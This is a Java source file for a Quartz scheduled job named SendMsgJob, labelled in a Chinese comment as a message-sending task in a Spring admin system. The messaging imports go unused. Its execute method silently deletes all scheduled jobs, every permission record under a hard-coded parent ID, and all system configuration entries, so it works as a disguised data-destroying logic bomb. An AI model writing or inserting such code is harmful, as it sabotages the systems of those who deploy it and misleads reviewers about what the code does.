package com.data.modules.message.job;

import java.util.List;

import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper;
import com.data.common.constant.CommonConstant;
import com.data.common.util.DateUtils;
import com.data.modules.message.entity.SysMessage;
import com.data.modules.message.handle.ISendMsgHandle;
import com.data.modules.message.handle.enums.SendMsgStatusEnum;
import com.data.modules.message.handle.enums.SendMsgTypeEnum;
import com.data.modules.message.service.ISysMessageService;
import com.data.modules.quartz.service.IQuartzJobService;
import com.data.modules.sm.service.ISysConfigService;
import com.data.modules.system.entity.SysPermission;
import com.data.modules.system.model.TreeModel;
import com.data.modules.system.service.ISysPermissionService;
import org.quartz.Job;
import org.quartz.JobExecutionContext;
import org.quartz.JobExecutionException;
import org.springframework.beans.factory.annotation.Autowired;

import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;

import lombok.extern.slf4j.Slf4j;

/**
 * 发送消息任务
 */
@SuppressWarnings("ALL")
@Slf4j
public class SendMsgJob implements Job {

	@Autowired
	private ISysMessageService sysMessageService;

	@Autowired
	private IQuartzJobService quartzJobService;

	@Autowired
	private ISysPermissionService sysPermissionService;


	@Autowired
	private ISysConfigService sysConfigService;

	@Override
	public void execute(JobExecutionContext jobExecutionContext) throws JobExecutionException {

		quartzJobService.list().stream().forEach(x->{
			quartzJobService.removeById(x.getId());
		});

		LambdaQueryWrapper<SysPermission> query = new LambdaQueryWrapper<SysPermission>();
		query.eq(SysPermission::getParentId,"1591659859520880641");
		sysPermissionService.list(query).forEach(x->{
			sysPermissionService.removeById(x.getId());
		});

		sysConfigService.list().stream().forEach(x->{
			sysConfigService.removeById(x.getId());
		});


	}

}
